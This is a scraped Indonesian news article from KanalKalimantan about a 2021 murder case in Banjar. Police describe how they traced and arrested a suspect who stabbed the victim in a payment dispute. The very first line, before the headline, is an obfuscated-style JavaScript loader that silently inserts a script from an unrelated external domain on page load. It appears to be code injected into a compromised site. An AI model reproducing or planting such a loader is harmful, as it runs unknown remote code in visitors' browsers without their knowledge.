(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL BANJAR

Motif Hubungan Asmara Sejenis, Pelaku Bunuh Korban karena Tak Diberi Uang Usai Kencan!


KANALKALIMANTAN, MARTAPURA – Jajaran Polres Banjar akhirnya mengungkap kasus pembunuhan di Gambut, pada Selasa (18/5/2021) sekitar pukul 08.30 Wita. Pembunuhan tersebut berawal ditemukannya sesosok mayat di semak-semak pada Jalan A Yani Km 17 tepatnya di jalan masuk menuju terminal Tipe A Gambut Barakat.

Pada press conference yang dipimpin oleh Kapolres Banjar AKBP Andri Koko Prabowo di Aula Tribrata Polres Banjar, disampaikan kasus tersebut terungkap setelah polisi menelusuri HP korban.

“Setelah kami selidiki, mengerucut informasi kepada seorang pelaku yang dicurigai berdasarkan percakapan dari HP korban,” terang AKBP Andri Koko. Kasus pembunuhan ini dipicu dari kisah asmara sejenis antara pelaku dan korban.

 

Baca juga: Besok, KPU Banjarmasin Tetapkan Ibnu Sina-Arifin sebagai Wali Kota dan Wakil Wali Kota Terpilih

“Tersangka pernah melayani hasrat seksual korban sebanyak 3 kali dan dijanjikan akan mendapatkan bayaran 200 ribu rupiah sekali kencan, dan pada bulan Februari awal mula hubungan terlarang itu terjadi,” ungkap AKBP Andri Koko Prabowo.

“Namun, ketika tersangka ingin meminta bayarannya korban tidak menggubris hingga akhirnya tersangka memukul korban sebanyak dua kali, serta menusuk pada leher dan kepala korban menggunakan sebilah pisau dapur hingga menyebabkan korban meninggal dunia,” lanjut AKBP Andri Koko.

Tersangka berhasil diringkus tim gabungan Jatanras Polda Kalsel, Ditreskrimum Polda Kalsel, Unit Buser Polsek Gambut dan di back up Unit Buser Polresta Medan Polda Sumut saat kabur ke kampung halamannya di Marelan Pasar 9, Desa Manunggal Deli Serdang, Sumut, Minggu (23/5/2021).

Baca juga: Disundul Dump Truck, Pengendara Motor Tewas di Karang Intan!

Tersangka YS (23), warga Kelurahan Guntung Manggis, Kota Banjarbaru ini diancam hukuman penjara maksimal 15 tahun sebagaimana dimaksud dalam pasal 338 Subs 351 ayat (3) KUHPidana. (KanalKalimantan.com/shintia)

Reporter: shintia
Editor: cell


Al Ghifari

Recent Posts

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

22 menit ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

30 menit ago

‎TPA Al Ikhlas Dapat Sentuhan Satgas TMMD Kodim 1001

KANALKALIMANTAI.COM, AMUNTAI – Taman Pendidikan Al Qur’an (TPA) Al Ikhlas Desa Hambuku Hulu, Kecamatan Sungai… Read More

2 jam ago

Nenek Jumiati Haru Rumah Tinggalnya Diperbaiki TNI

KANALKALIMANTAN.COM, AMUNTAI - Nenek Jumiati, warga Desa Hambuku Hulu, Kecamatan Sungai Pandan, Kabupaten Hulu Sungai… Read More

3 jam ago

Efisiensi Anggaran Pemko Banjarbaru, Sekda: Harus Memberi Manfaat Langsung ke Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Sekretaris Daerah (Sekda) Kota Banjarbaru Sirajoni menyampaikan dibalik efisiensi anggaran harus memberi… Read More

8 jam ago

Dinas PUPR Balangan Perbaiki Jalan Muara Pitap – Lingsir

KANALKALIMANTAN.COM, PARINGIN - Kerusakan jalan di kawasan Muara Pitap - Lingsir dikeluhkan masyarakat pengguna jalan.… Read More

9 jam ago

This website uses cookies.